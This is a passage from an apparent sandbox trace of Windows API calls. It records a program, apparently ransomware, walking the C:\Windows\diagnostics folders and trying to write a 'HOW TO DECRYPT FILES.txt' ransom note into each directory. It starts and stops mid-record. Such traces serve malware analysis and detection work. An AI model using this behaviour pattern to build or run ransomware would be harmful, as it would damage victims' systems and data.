TO DECRYPT FILES.txt" [0126.921] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.921] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.922] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.922] CloseHandle (hObject=0xffffffff) returned 0 [0126.922] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_SpoolerService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerService.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerService.ps1" [0126.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe75977c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe75977c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1269fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdatePrinterDriver.dll", cAlternateFileName="")) returned 1 [0126.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.922] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerService.ps1") returned="TS_SpoolerService.ps1" [0126.922] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.922] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.922] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.922] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.923] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.923] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.923] CloseHandle (hObject=0xffffffff) returned 0 [0126.923] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="UpdatePrinterDriver.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\UpdatePrinterDriver.dll") returned="C:\\Windows\\diagnostics\\system\\Printer\\UpdatePrinterDriver.dll" [0126.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe75977c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe75977c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1269fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdatePrinterDriver.dll", cAlternateFileName="")) returned 0 [0126.924] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.925] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0126.925] lstrcmpA (lpString1=".", lpString2="Search") returned -1 [0126.925] lstrcmpA (lpString1="..", lpString2="Search") returned -1 [0126.925] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.925] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="Search" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search") returned="C:\\Windows\\diagnostics\\system\\Search" [0126.925] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Search\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd13fa43, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xdd13fa43, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xdd165ba1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5072, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_Utility.ps1", cAlternateFileName="")) returned 1 [0126.929] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.929] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\*.*") returned="*.*" [0126.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.929] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.930] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.930] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.930] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.930] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.930] CloseHandle (hObject=0xffffffff) returned 0 [0126.930] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\CL_Utility.ps1" [0126.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12373e40, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12373e40, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9194fca4, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x364b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.931] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.931] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.931] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.931] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.931] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.931] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.931] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.931] CloseHandle (hObject=0xffffffff) returned 0 [0126.931] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.diagpkg" [0126.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b915ff, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11b915ff, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.932] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.932] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.932] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.932] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.932] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.932] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.932] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.932] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.933] CloseHandle (hObject=0xffffffff) returned 0 [0126.933] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.dll" [0126.933] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23139f80, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.933] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.933] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.933] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\DiagPackage.dll") returned="DiagPackage.dll" [0126.933] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US" [0126.933] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Search\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23139f80, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501562, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.934] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23139f80, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.934] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.934] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.934] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1292a9ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1292a9ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1394, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.934] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.934] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\*.*") returned="*.*" [0126.934] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" [0126.934] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\") returned="" [0126.935] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" [0126.935] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.935] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.935] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.935] CloseHandle (hObject=0xffffffff) returned 0 [0126.936] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\CL_LocalizationData.psd1" [0126.936] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1292a9ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1292a9ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.936] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.936] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" [0126.936] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\en-US\\") returned="" [0126.936] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" [0126.936] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.936] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.937] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.937] CloseHandle (hObject=0xffffffff) returned 0 [0126.937] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\Search\\en-US\\DiagPackage.dll.mui" [0126.937] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1292a9ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1292a9ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0126.938] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x121f709e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x121f709e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd1b1e5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_RestoreDefaults.ps1", cAlternateFileName="")) returned 1 [0126.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.938] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\*.*") returned="*.*" [0126.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.938] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.938] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.938] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.938] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.939] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.939] CloseHandle (hObject=0xffffffff) returned 0 [0126.939] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="RS_RestoreDefaults.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\RS_RestoreDefaults.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\RS_RestoreDefaults.ps1" [0126.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1221d1fb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1221d1fb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd1d7fbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x81e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RestorePermissions.ps1", cAlternateFileName="")) returned 1 [0126.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.940] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\RS_RestoreDefaults.ps1") returned="RS_RestoreDefaults.ps1" [0126.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.941] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.941] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.941] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.941] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, 